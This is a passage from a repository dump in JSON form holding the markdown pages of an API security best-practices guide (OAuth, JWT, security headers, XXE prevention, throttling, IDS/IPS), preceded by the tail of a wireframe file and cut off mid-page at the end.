\"147\",\n                    \"measuredW\": \"474\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"474\",\n                    \"h\": \"28\",\n                    \"x\": \"241\",\n                    \"y\": \"2037\",\n                    \"properties\": {\n                        \"controlName\": \"use-ids-ips-system\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"474\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Use an IDS and/or IPS system to monitor everything.\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                }\n            ]\n        },\n        \"attributes\": {\n            \"name\": \"New Wireframe 1\",\n            \"order\": 1000000,\n            \"parentID\": null,\n            \"notes\": \"\"\n        },\n        \"branchID\": \"Master\",\n        \"resourceID\": \"5A30BFEF-684E-429E-9C5D-BAAAC1A8339A\",\n        \"mockupH\": \"2160\",\n        \"mockupW\": \"1351\",\n        \"measuredW\": \"1542\",\n        \"measuredH\": \"2294\",\n        \"version\": \"1.0\",\n        \"calloutsOffset\": {\n            \"x\": 189.2312564040421,\n            \"y\": 132\n        }\n    },\n    \"groupOffset\": {\n        \"x\": 0,\n        \"y\": 0\n    },\n    \"dependencies\": [],\n    \"projectID\": \"file:///Users/dan/Library/Application%20Support/Balsamiq%20Wireframes/UnsavedFiles/New%20Project%201.bmpr\"\n}\n"
  },
  {
    "path": "src/data/best-practices/api-security/api-security.md",
    "content": "---\njsonUrl: '/jsons/best-practices/api-security.json'\npdfUrl: '/pdfs/best-practices/api-security.pdf'\norder: 2\nbriefTitle: 'API Security'\nbriefDescription: 'API Security Best Practices'\nisNew: false\nisUpcoming: false\ntitle: 'API Security Best Practices'\ndescription: 'Detailed list of best practices to make your APIs secure'\ndimensions:\n  width: 968\n  height: 1543.39\nschema:\n  headline: 'API Security Best Practices'\n  description: 'Detailed list of best practices to make your APIs secure. Each best practice carries further details and how to implement that best practice.'\n  imageUrl: 'https://roadmap.sh/best-practices/api-security.png'\n  datePublished: '2023-02-21'\n  dateModified: '2023-02-21'\nseo:\n  title: 'API Security Best Practices'\n  description: 'Detailed list of best practices to make your APIs secure. Each best practice carries further details and how to implement that best practice.'\n  keywords:\n    - 'API Security'\n    - 'API Security Best Practices'\n    - 'API Security Checklist'\n---\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/api-gateway.md",
    "content": "# API Gateway\n\n> Use an API Gateway for caching, Rate Limit policies, and other security features.\n\nAn API gateway can make your APIs more secure by providing a centralized point of control for managing and securing API traffic. Here are a few ways an API gateway can improve API security:\n\n- Authentication and authorization: API gateways can handle user authentication and authorization, reducing the burden on individual APIs and improving consistency across the organization. This can include techniques such as JWT verification, OAuth, and other authentication mechanisms.\n\n- Traffic filtering and rate limiting: An API gateway can enforce traffic filtering and rate limiting to protect APIs against DDoS attacks, brute force attacks, and other types of abuse.\n\n- Encryption and decryption: An API gateway can handle encryption and decryption of sensitive data to protect against data breaches and theft.\n\n- Logging and monitoring: An API gateway can provide centralized logging and monitoring of API traffic, helping to identify and respond to security threats and other issues.\n\n- Integration with security tools: An API gateway can be integrated with security tools such as WAFs, SIEMs, and other security tools to provide additional layers of protection.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/authentication-mechanisms.md",
    "content": "# Authentication Mechanisms\n\n> Use standard authentication mechanisms for generating tokens, storing credentials, and authenticating users.\n\nHere are some examples of established authentication mechanisms that you can use instead of reinventing the wheel:\n\n- OAuth: OAuth is a widely used open standard for authorization that enables users to grant third-party applications access to their resources without sharing their credentials. It is commonly used by web services and APIs to enable users to sign in with their social media accounts or other third-party accounts.\n\n- OpenID Connect: OpenID Connect is an authentication protocol built on top of OAuth 2.0 that enables users to authenticate with multiple websites and applications using a single set of credentials. It is commonly used for single sign-on (SSO) across multiple websites and applications.\n\n- SAML: Security Assertion Markup Language (SAML) is an XML-based standard for exchanging authentication and authorization data between parties. It is commonly used for SSO across multiple domains or organizations.\n\n- Password hashing algorithms: Password hashing algorithms like bcrypt and scrypt are widely used to securely store and protect user passwords. These algorithms ensure that even if an attacker gains access to the password database, they will not be able to easily recover the passwords.\n\n- Two-factor authentication (2FA): 2FA is an authentication mechanism that requires users to provide two forms of identification to access their accounts. This typically involves something the user knows (like a password) and something the user has (like a mobile device or security key). Many services and applications now offer 2FA as an additional security measure.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/authorization-header.md",
    "content": "# Authorization Header\n\n> Use standard `Authorization` header for sending tokens instead of custom headers or query/body parameters\n\nSending tokens in the query or body parameters is generally not recommended because these parameters may be logged or cached by various systems, including web servers, proxies, and gateways. This can potentially lead to the exposure of sensitive data, including authentication tokens.\n\nAdditionally, sending tokens in query or body parameters can make them more vulnerable to cross-site request forgery (CSRF) attacks. In a CSRF attack, an attacker can trick a user into submitting a request that includes their authentication token, which the attacker can then use to impersonate the user and gain access to their account.\n\nBy contrast, using the `Authorization` header to send tokens helps to ensure that the tokens are not logged or cached by intermediary systems, and it can also help to protect against CSRF attacks by allowing the server to validate the token before processing the request.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/avoid-http-blocking.md",
    "content": "# Avoid HTTP Blocking\n\n> Avoid HTTP blocking if you are using huge amount of data by moving the HTTP heavy operations to background jobs or asynchronous tasks.\n\nHTTP blocking is a common issue in web applications. It occurs when the application is unable to process incoming HTTP requests due to a large number of requests or a large amount of data. This can lead to the application becoming unresponsive and the server crashing. This can be prevented by moving HTTP heavy operations to background jobs or asynchronous tasks. You can use a message queue to queue the requests and process them in the background. This will allow the application to continue processing other requests while the heavy operations are being processed in the background.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/avoid-logging-sensitive-data.md",
    "content": "# Avoid Logging Sensitive Data\n\n> Ensure that you aren't logging any sensitive data.\n\nMake sure that you are not logging any sensitive data such as passwords, credit card numbers, or personal information. This is because logging sensitive data can expose it to attackers, allowing them to gain unauthorized access to your system or data. Additionally, logging sensitive data can violate data privacy laws and regulations, exposing you to legal liability.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/avoid-personal-id-urls.md",
    "content": "# Avoid Personal ID in URLs\n\n> Avoid user’s personal ID in the resource URLs e.g. users/242/orders\n\nUser's own resource ID should be avoided. Use `/me/orders` instead of `/user/654321/orders`. This will help avoid the risk of exposing the user’s personal ID that can be used for further attacks.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/avoid-sensitive-data.md",
    "content": "# Avoid Returning Sensitive Data\n\n> Only return the data that is needed for the client to function.\n\nReturning only the data that is needed for the client to function is an important best practice for API security. This is because limiting the amount of data that is returned reduces the amount of sensitive information that is exposed. By only returning the necessary data, you can help prevent security vulnerabilities such as data leakage, injection attacks, and other types of attacks that rely on exposing too much information. Additionally, reducing the amount of data returned can improve the performance of your API by reducing the amount of data that needs to be processed and transmitted.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/cdn-for-file-uploads.md",
    "content": "# Use CDN for Uploads\n\n> Use CDN for file uploads\n\nUsing a Content Delivery Network (CDN) for file uploads can make an API more secure by offloading the file upload traffic from the API server and reducing the risk of DDoS attacks.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/centralized-logins.md",
    "content": "# Centralized Logins\n\n> Use centralized logins for all services and components.\n\nUsing centralized logins for all services and components is important for several reasons:\n\n- Centralized logins enable you to manage authentication and authorization in one place, reducing the risk of security gaps or inconsistencies across different services.\n\n- Centralized logins provide a single point of entry, allowing you to control access and monitor activity more easily.\n\n- Centralized logins make it easier to enforce security policies across different services and components, ensuring that only authorized users can access sensitive data or perform certain actions.\n\nTo use centralized logins, you need to set up a single sign-on (SSO) system that enables users to authenticate once and then access multiple services without having to provide credentials again. This can be done using protocols like OAuth or SAML, which enable secure authentication and authorization across different applications and services. Once set up, you can use centralized logging tools like ELK stack, Splunk, or Graylog to collect logs from different services and components and analyze them in one place. This enables you to quickly identify and respond to security threats or anomalies.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/check-dependencies.md",
    "content": "# Dependencies\n\n> Check your dependencies for known vulnerabilities and keep them up to date.\n\nVulnerabilities in third-party libraries and components can be exploited by attackers to gain access to your system or data. These vulnerabilities can be introduced through outdated or insecure dependencies that have not been updated with the latest security patches.\n\nBy regularly checking for vulnerabilities and keeping your dependencies up to date, you can ensure that your API is not susceptible to known security risks. This can be done by using automated tools or services that scan your codebase and provide reports on any vulnerabilities found in your dependencies. By addressing these vulnerabilities promptly, you can reduce the risk of your API being compromised by attackers.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/code-review-process.md",
    "content": "# Code Review Process\n\n> Use a code review process and disregard self-approval.\n\nHaving a good code review process allows for additional sets of eyes to review the code and identify potential security issues or vulnerabilities. A code review process involves other team members reviewing the code to ensure it follows best practices and is secure. Disregarding self-approval means that the developer who wrote the code should not be the only one responsible for approving it for release. This helps to catch potential mistakes or oversights before the code is deployed, reducing the risk of security breaches or other issues.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/csp-header.md",
    "content": "# Content Security Policy\n\n> Send `Content-Security-Policy: default-src 'none'` header.\n\nSending the `Content-Security-Policy: default-src 'none'` header is a security best practice that helps prevent cross-site scripting (XSS) attacks. This header tells the browser to not allow any resources to be loaded from external sources, such as scripts, stylesheets, or images. It only allows resources that are explicitly whitelisted in the CSP header, such as scripts or stylesheets hosted on your own domain. This can help prevent malicious actors from injecting code into your web pages via XSS attacks, as the browser will not execute any scripts or load any resources that are not explicitly allowed by the CSP policy.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/debug-mode-off.md",
    "content": "# Turn Debug Mode Off\n\n> Make sure to turn the debug mode off in production\n\nDebug mode is a feature that is used to help developers debug their code. It is not meant to be used in production. It can expose sensitive information about the application and the server it is running on. Make sure to turn debug mode off in production.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/directory-listings.md",
    "content": "# Directory Listings\n\n> Turn off directory listings\n\nDirectory listings are a feature of web servers that allow users to view the contents of a directory on a server. By default, web servers often have directory listings enabled, which means that anyone who has access to the server can see all the files and directories in a given folder.\n\nTurning off directory listings is important for API security because it prevents attackers from gaining access to sensitive files and directories on the server. If directory listings are enabled and an attacker gains access to the server, they can easily view and download any files that are not properly protected. By disabling directory listings, you can ensure that only authorized users can access the files and directories on the server.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/disable-entity-expansion.md",
    "content": "# Disable Entity Expansion\n\n> Disable entity expansion if using XML, YML or any other language\n\nDisabling entity expansion is important when using XML, YAML, or any other language that allows entities because it helps prevent XXE (XML External Entity) or YAML tag injection attacks. In these attacks, attacker normally injects some sort of custom code in the input to perform attacks against the application.. By disabling entity expansion, the input cannot be manipulated in this way, reducing the risk of such attacks.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/disable-entity-parsing-xml.md",
    "content": "# Disable Entity Parsing in XML\n\n> Disable entity parsing if you are parsing XML to avoid XXE attacks\n\nIf the XML parser is vulnerable to XXE attacks, the attacker can use this vulnerability to read files on the server, perform SSRF attacks, and more. This can lead to the disclosure of sensitive information, denial of service, and other attacks.\n\nXXE (XML External Entity) attack is a type of attack that targets applications that parse XML input from untrusted sources. In this attack, an attacker injects a malicious XML payload. This payload can contain external entities that the attacker can use to retrieve sensitive data, execute remote code, or launch denial of service attacks. XXE attacks can be prevented by disabling external entity processing or by validating and sanitizing the XML input before parsing it.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/endpoint-authentication.md",
    "content": "# Endpoint Authentication\n\n> Check if all the protected endpoints are behind authentication\n> to avoid broken authentication process\n\nBy identifying and fixing broken authentication workflows, the API can prevent attacks such as brute force attacks, credential stuffing, session hijacking, and other authentication-related attacks. This can help ensure that the system is secure and that sensitive data is protected.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/force-content-type.md",
    "content": "# Force Content-Type\n\n> Always force the `Content-Type` header to be set to relevant MIME type.\n\nForcing the content-type for API security is important because it ensures that the client and server are communicating in a mutually agreed-upon format for the data being transmitted. This can prevent attacks such as content spoofing or injection, where an attacker tries to trick the server into processing malicious content by pretending that it is of a different content type. By forcing the content-type to a specific format, the server can validate that the data it is receiving is legitimate and safe to process. Additionally, forcing the content-type can help prevent certain types of parsing errors that could be exploited by attackers.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/good-jwt-secret.md",
    "content": "# JWT Secret\n\n> You should have a good JWT secret to protect against token tempering as well as avoiding brute force attacks.\n\nA strong secret key should be randomly generated, long, and complex, and should be stored securely and rotated periodically.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/hsts-header.md",
    "content": "# HSTS Header\n\n> Use HSTS header with SSL to avoid SSL Strip attacks.\n\nSSL strip is a type of attack where an attacker intercepts traffic between a client and a server that is meant to be secured by SSL/TLS encryption, and downgrades the connection to a plain text (non-encrypted) HTTP connection. This type of attack can go unnoticed by the user because the attacker is able to redirect the user to a look-alike website that also uses HTTP instead of HTTPS.\n\nIn an SSL strip attack, the attacker sets up a man-in-the-middle (MITM) position between the client and the server. When the client initiates a connection with the server, the attacker intercepts the SSL/TLS traffic and removes or replaces the HTTPS links with HTTP links. This can trick the user into thinking they are using a secure connection when in fact, they are not. The attacker can then monitor and manipulate the data transmitted between the client and server.\n\nHSTS header is a security header that instructs browsers to only access the site over HTTPS. This header is used to prevent SSL Strip attacks. It is a good practice to use HSTS header with SSL.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/index.md",
    "content": "#\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/jwt-algorithm.md",
    "content": "# JWT Algorithm\n\n> Do not extract the algorithm from the header, use backend.\n\nExtracting the algorithm from the header of a JWT can pose a security risk, as an attacker could modify the algorithm and potentially gain unauthorized access. It is therefore recommended to verify the algorithm on the backend rather than extracting it from the header. This can help ensure that the algorithm used to sign and verify the token is secure and has not been tampered with.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/jwt-payload.md",
    "content": "# Jwt Payload\n\n> Avoid storing sensitive data in JWT payload\n\nStoring sensitive data in a JWT payload can increase the risk of data breaches and other security incidents. If an attacker is able to obtain or tamper with the token, they could potentially access the sensitive data stored in the payload.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/max-retry-jail.md",
    "content": "# Max Retry/Jail in Login\n\n> \"Max Retry\" and \"jail\" features are commonly used in login mechanisms to enhance security and prevent brute-force attacks.\n\n**Max Retry:** The \"Max Retry\" feature limits the number of login attempts that a user can make within a specified time period. After a certain number of failed login attempts, the user is locked out of their account for a specified period of time, typically several minutes or hours. This helps to prevent brute-force attacks, where an attacker attempts to guess a user's password by making repeated login attempts. By limiting the number of attempts, the system can slow down or prevent such attacks.\n\n**Jail:** The \"jail\" feature involves blocking IP addresses or user accounts that have exceeded the maximum number of failed login attempts within a certain time period. The blocked IP addresses or user accounts are prevented from attempting further logins for a specified period of time, typically several minutes or hours. This helps to prevent brute-force attacks, and also provides a mechanism to prevent malicious users from repeatedly attempting to access an account or system.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/monitor-everything.md",
    "content": "# Monitor Everything\n\n> Use agents to monitor all requests, responses and errors.\n\nUsing agents to monitor all requests, responses, and errors allows for real-time monitoring and detection of any abnormal activity or potential attacks. These agents can be configured to track metrics such as response times, error rates, and usage patterns, which can help identify any anomalies that could be indicative of an attack. By monitoring all requests and responses, the agents can provide visibility into the behavior of the API, which can help identify any potential security vulnerabilities or weaknesses. Additionally, agents can be used to log and analyze all data flowing through the API, which can be useful for debugging and auditing purposes.\n\nTo use agents for monitoring, a dedicated monitoring solution can be deployed alongside the API. This solution can be configured to capture data from all requests and responses, and analyze the data for any anomalies or issues. Agents can be implemented using various monitoring tools and technologies such as agents for application performance monitoring (APM), log monitoring, and network monitoring. The agents should be configured to provide real-time alerts to security teams if any suspicious activity is detected, allowing for immediate action to be taken.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/no-sniff-header.md",
    "content": "# X-Content-Type-Options: nosniff\n\n> Send `X-Content-Type-Options: nosniff` header.\n\nYou should send the `X-Content-Type-Options: nosniff` header to prevent [MIME type sniffing attacks](https://www.keycdn.com/support/what-is-mime-sniffing) on your web application. This header tells the browser not to override the response content type even if it's not the expected type. For example, if an attacker manages to upload an HTML file with a disguised extension like .jpg, the server may still send the correct content type header for the HTML file. However, some browsers may ignore this header and try to \"sniff\" the content type based on the actual contents of the file, leading to a potential cross-site scripting (XSS) attack.\n\nBy sending the `X-Content-Type-Options: nosniff` header, you tell the browser to always trust the provided content type and not try to sniff the content type. This helps to mitigate the risk of attackers exploiting content type mismatches to deliver malicious content to unsuspecting users.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/non-executable-stacks.md",
    "content": "# Non-Executable Stacks\n\n> Use non-executable stacks to prevent attackers from executing code on your server.\n\nA stack usually refers to the call stack or execution stack. It is a data structure used by the computer program to manage and keep track of the sequence of function calls, local variables, and other related data during the execution of the program.\n\nA non-executable stack is a security mechanism that prevents malicious code from being executed by preventing the stack memory from being executed as code. This helps to prevent attacks such as buffer overflow attacks, where an attacker tries to overwrite the return address on the stack to redirect the program to execute malicious code. By using non-executable stacks, the program can keep the stack separate from executable code and help prevent these types of attacks.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/oauth-redirect-ui.md",
    "content": "# redirect_uri\n\n> Validate `redirect_uri’ on server-side to prevent open redirect attacks.\n\nIn OAuth, `redirect_uri` is a parameter that specifies the URI (Uniform Resource Identifier) that the authorization server should redirect the user to after authentication is complete. The `redirect_uri` is often used in the OAuth flow to return an authorization code or access token to the client application.\n\nIt is important to validate the `redirect_uri` on the server-side to prevent attacks such as open redirection attacks. In an open redirection attack, an attacker can modify the `redirect_uri` parameter to redirect the user to a malicious website. By validating the `redirect_uri` on the server-side, you can ensure that the redirect URI is a valid and authorized URI for the client application.\n\nValidating the `redirect_uri` on the server-side can also prevent other types of attacks such as phishing attacks or cross-site request forgery (CSRF) attacks. By verifying that the `redirect_uri` matches a predefined list of authorized URIs, you can ensure that the user is redirected to a trusted site after authentication is complete.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/oauth-state.md",
    "content": "# Use State Param\n\n> Use state parameter to avoid CSRF attacks\n\nIn OAuth, the `state` parameter is used as a security measure to prevent CSRF (Cross-Site Request Forgery) attacks. CSRF attacks occur when a malicious website or script sends a request to a legitimate website on behalf of a user who is currently authenticated.\n\nTo prevent CSRF attacks, the `state` parameter is used to store a unique value that is generated by the client application before initiating the authorization request. This value is included in the authorization request and then verified by the authorization server when the user is redirected back to the client application. If the `state` value in the authorization response matches the `state` value that was sent by the client application, the authorization is considered valid and the access token is returned to the client.\n\nBy using the `state` parameter, you can help to prevent malicious actors from intercepting or modifying the authorization request in transit, as the unique `state` value is only known to the client application and the authorization server. This can help to ensure the integrity and security of the OAuth flow and protect against CSRF attacks.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/oauth-validate-scope.md",
    "content": "# Validate Scope\n\n> Have default scope, and validate scope for each application\n\nIn OAuth, scopes are used to specify the permissions and access levels that are granted to client applications when accessing protected resources on behalf of a user.\n\nThe best practice of having a default scope and validating the scope for each application is important because it helps to ensure that client applications only have access to the resources that they require, and that users are only granting the necessary permissions to each application.\n\nThe default scope is a set of permissions that are granted to all client applications by default, unless otherwise specified by the user. By having a default scope, you can ensure that all applications are subject to the same baseline security and access controls.\n\nIn addition to having a default scope, it is also recommended to validate the scope for each application. This means that when a user grants access to an application, the server should check to ensure that the requested scope is valid and appropriate for that application. This can help to prevent malicious applications from requesting excessive permissions or unauthorized access to user data.\n\nBy having a default scope and validating the scope for each application, you can help to ensure that the OAuth flow is secure and that client applications are only accessing the resources and permissions that they require.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/only-server-side-encryption.md",
    "content": "# Avoid Client-Side Encryption\n\n> Use server-side encryption instead of client-side encryption\n\nClient-side encryption is not recommended because client side codebase can be easily reverse engineered which can lead to the exposure of encryption algorithms.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/payload-size.md",
    "content": "# JWT Payload Size\n\n> Avoid storing large payloads in JWTs\n\nA smaller payload can reduce network overhead, improve processing speed, and decrease the risk of attacks aimed at overloading the system.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/prefer-uuid.md",
    "content": "# Prefer UUIDs\n\n> Use UUIDs instead of auto-incrementing integers. UUIDs are globally unique, and are not sequential. They are also more difficult to guess than sequential integers.\n\nUse of UUIDs over auto-incrementing IDs prevents attackers from guessing or iterating through resource IDs. UUIDs are randomly generated and contain 128 bits of entropy, making it practically impossible for attackers to guess them. In contrast, autoincrementing IDs can be easily predicted or iterated through, allowing attackers to access or manipulate resources they shouldn't have access to. Additionally, using UUIDs can help prevent information disclosure by hiding the order of resource creation or access.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/proper-http-methods.md",
    "content": "# Proper HTTP Methods\n\nUse the proper HTTP method according to the operation: `GET (read)`, `POST (create)`, `PUT/PATCH (replace/update)`, and `DELETE (to delete a record)`, and respond with `405 Method Not Allowed` if the requested method isn't appropriate for the requested resource.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/proper-response-code.md",
    "content": "# Proper Response Code\n\n> Return the proper status code according to the operation completed. e.g.\n>\n> - `200 OK`\n> - `400 Bad Request`\n> - `401 Unauthorized`\n> - `405 Method Not Allowed`\n> - ...etc.\n\nReturning the proper status code according to the operation completed is important for API security because it allows the client to understand the outcome of their request and take appropriate actions. For example, if the server returns a 401 Unauthorized status code, the client knows that their authentication credentials are incorrect and can prompt the user to re-enter their login details. On the other hand, if the server returns a 200 OK status code even though the request failed, the client may not realize there was an issue and could potentially execute malicious actions or display incorrect data. Providing accurate status codes can help prevent security vulnerabilities and improve the overall reliability and usability of the API.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/recommended-resources.md",
    "content": "# Recommended Resources\n\nHave a look at the following resources for more information on API security:\n\n- [Collection of Resources for Building APIs](https://github.com/yosriady/awesome-api-devtools)\n- [CS253: Web Security](https://www.youtube.com/watch?v=5JJrJGZ_LjM&list=PL1y1iaEtjSYiiSGVlL1cHsXN_kvJOOhu-)\n- [Securing Web Applications](https://www.youtube.com/watch?v=WlmKwIe9z1Q)\n- [MIT 6.858: Computer Systems Security](https://www.youtube.com/watch?v=GqmQg-cszw4&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh)\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/remove-fingerprint-header.md",
    "content": "# Remove Fingerprints\n\n> Remove fingerprinting headers (i.e. x-powered-by etc) from the HTTP request.\n\nFingerprinting headers can be used to identify the web server and its version. This information can be used by attackers to identify vulnerabilities in the web server and exploit them.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/response-type-token.md",
    "content": "# Avoid Implicit Grant Flow\n\n> Avoid `response_type=token’ and try to exchange for code instead.\n\nIn OAuth, `response_type=token` is a method for obtaining an access token directly from the authorization endpoint, without using an authorization code. This method is known as the implicit grant flow.\n\nHowever, it is recommended to avoid using `response_type=token` and instead use the authorization code grant flow, where the client exchanges an authorization code for an access token. This is because the implicit grant flow can be less secure than the authorization code grant flow.\n\nThe reason for this is that the access token is returned directly to the client in the URL fragment of the redirect URI. This means that the access token could be intercepted or exposed in the browser history or server logs. In contrast, with the authorization code grant flow, the access token is returned to the client only after the client has exchanged the authorization code for the token using a secure server-to-server communication.\n\nTherefore, by using the authorization code grant flow instead of the implicit grant flow, you can help to protect the access token from being exposed or intercepted by malicious actors.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/restrict-private-apis.md",
    "content": "# Restrict Private APIs\n\n> Private APIs should only be accessible from safe listed IPs\n\nPrivate APIs should only be accessible from safe-listed IPs to ensure that only authorized users or systems can access the API. By restricting access to specific IP addresses, you can prevent unauthorized access from external networks or malicious actors. This can help to protect sensitive data and prevent attacks such as DDoS or brute-force attacks. Additionally, restricting access to safe-listed IPs can help to ensure the reliability and performance of the API by preventing excessive traffic from unauthorized sources.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/rollback-deployments.md",
    "content": "# Rollback Solution\n\n> Design a rollback solution for deployments.\n\nSometimes deploying a new version of the API can introduce unexpected bugs or issues that were not caught during testing. In such cases, rolling back to the previous version of the API can help to mitigate the impact of the issue and restore the service to a functional state. A well-designed rollback solution can help reduce downtime and minimize the impact on users.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/run-security-analysis.md",
    "content": "# Run Security Analysis\n\n> Continuously run security analysis on your code.\n\nContinuous security analysis helps identify and address security vulnerabilities in the codebase before they can be exploited by attackers. It involves using automated tools and manual techniques to scan code for potential weaknesses, such as insecure coding practices, configuration errors, and outdated dependencies. By identifying and fixing vulnerabilities early in the development cycle, the risk of a security breach or data loss can be significantly reduced, improving the overall security posture of the system.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/sensitive-data-encryption.md",
    "content": "# Sensitive Data Encryption\n\n> Encrypting sensitive data is important for protecting it from unauthorized access, theft, and exploitation.\n\nEncryption is a process of converting plain text data into a cipher text that can only be deciphered by someone who has the decryption key. This makes it difficult for attackers to access sensitive data, even if they are able to intercept it or gain unauthorized access to it.\n\nTo encrypt sensitive data, you can use encryption algorithms such as `AES` or `RSA`, along with a strong key management system to ensure that keys are securely stored and managed. Additionally, you can implement other security measures such as access controls, firewalls, and intrusion detection systems to further protect sensitive data.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/set-alerts.md",
    "content": "# Setup Alerts\n\n> Use alerts for SMS, Slack, Email, Kibana, Cloudwatch, etc.\n\nUsing alerts for various communication channels such as SMS, Slack, Email, Kibana, Cloudwatch, etc. can help you quickly respond to any issues or anomalies in your system. These alerts can be set up to notify you in real-time if a particular event or condition occurs, allowing you to take proactive measures to prevent downtime, data loss, or security breaches. Additionally, alerts can provide valuable insights into system performance and user behavior, allowing you to make informed decisions about your API's design and implementation.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/throttle-requests.md",
    "content": "# Throttle Requests\n\n> Limit requests (throttling) to avoid DDoS / Brute Force attacks.\n\nLimiting requests through throttling is important to prevent DDoS attacks and brute force attacks. DDoS attacks overwhelm the server with too many requests, while brute force attacks try to guess user credentials through multiple login attempts.\n\nThrottling limits the number of requests that can be sent within a certain time period, making it harder for attackers to carry out these types of attacks. This can protect the system from being overwhelmed and can prevent attackers from gaining unauthorized access.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/token-expiry.md",
    "content": "# Token Expiry\n\n> Token expiry should be set to a reasonable time to reduce the window of vulnerability, limit the impact of token theft, and improve overall security.\n\nSetting a short token expiration time (TTL, RTTL) is important for security purposes, as it reduces the window of vulnerability, limits the impact of token theft, and improves overall security. However, the expiration time should be balanced with usability, as setting it too short may inconvenience users and reduce productivity.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/unit-integration-tests.md",
    "content": "# Unit/Integration Tests\n\n> Audit your design and implementation with unit/integration tests coverage.\n\nUnit and integration testing can help identify vulnerabilities in the API code and design, such as input validation errors, authentication and authorization flaws, and other security-related issues. By performing comprehensive testing, developers can ensure that the API works as intended and that it is secure against common attacks such as injection attacks, cross-site scripting, and other exploits. Adequate testing can also help identify and resolve performance bottlenecks, improve scalability and reliability, and ensure the overall quality of the API.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/use-https.md",
    "content": "# Use HTTPs\n\n> Use HTTPS on server side and secure ciphers\n\nEnsure that your API server uses HTTPS instead of HTTP. HTTPS is a secure protocol that encrypts data in transit, making it difficult for attackers to intercept and read sensitive information. To implement HTTPS, you need to obtain an SSL/TLS certificate and configure your server to use HTTPS.\n\nHTTPS uses ciphers to encrypt data in transit. It is important to choose secure ciphers that are resistant to attacks and offer strong encryption. Some common secure ciphers include AES, ChaCha20, and ECDHE for key exchange. Make sure to disable weak and outdated ciphers, such as RC4 and TLS 1.0/1.1, which are vulnerable to attacks.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/use-ids-ips-system.md",
    "content": "# Use IDS/IPS Systems\n\n> Use IDS and/or IPS systems to detect and block attacks.\n\nIntrusion detection systems (IDS) and intrusion prevention systems (IPS) can be used to detect and block attacks. These systems can be configured to monitor all incoming and outgoing traffic, and detect any suspicious activity. If any suspicious activity is detected, the systems can be configured to block the traffic, preventing the attack from succeeding. IDS and IPS systems can be implemented using various tools and technologies such as network intrusion detection systems (NIDS), host-based intrusion detection systems (HIDS), and network intrusion prevention systems (NIPS). These systems can be deployed alongside the API, and configured to monitor all incoming and outgoing traffic. The systems can be configured to provide real-time alerts to security teams if any suspicious activity is detected, allowing for immediate action to be taken.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/use-standard-authentication.md",
    "content": "# Avoid Basic Authentication\n\n> You should avoid using basic authentication and use any other standard authentication methodologies i.e. OAuth, JWT, etc.\n\nBasic authentication is a simple method for authenticating a user by transmitting the user's credentials in plain text over the network. This method is inherently insecure and should be avoided whenever possible.\n\nThere are several reasons why basic authentication should be avoided and replaced with more secure authentication techniques:\n\n- Lack of confidentiality: Basic authentication transmits the user's credentials (username and password) in plain text over the network. This means that anyone who intercepts the traffic can easily read the credentials and gain access to the user's account.\n\n- Lack of integrity: Basic authentication does not provide any mechanism to ensure that the data being transmitted has not been tampered with or modified in transit. This means that an attacker can modify the traffic to gain access to the user's account or perform other malicious activities.\n\n- Lack of authentication strength: Basic authentication relies solely on the user's credentials to authenticate them. This means that if an attacker is able to obtain the user's credentials (for example, through phishing or social engineering), they can easily gain access to the user's account.\n\n- No support for multi-factor authentication: Basic authentication does not support multi-factor authentication (MFA), which is a critical security feature that provides an additional layer of protection against unauthorized access.\n\nIn contrast, other authentication techniques such as 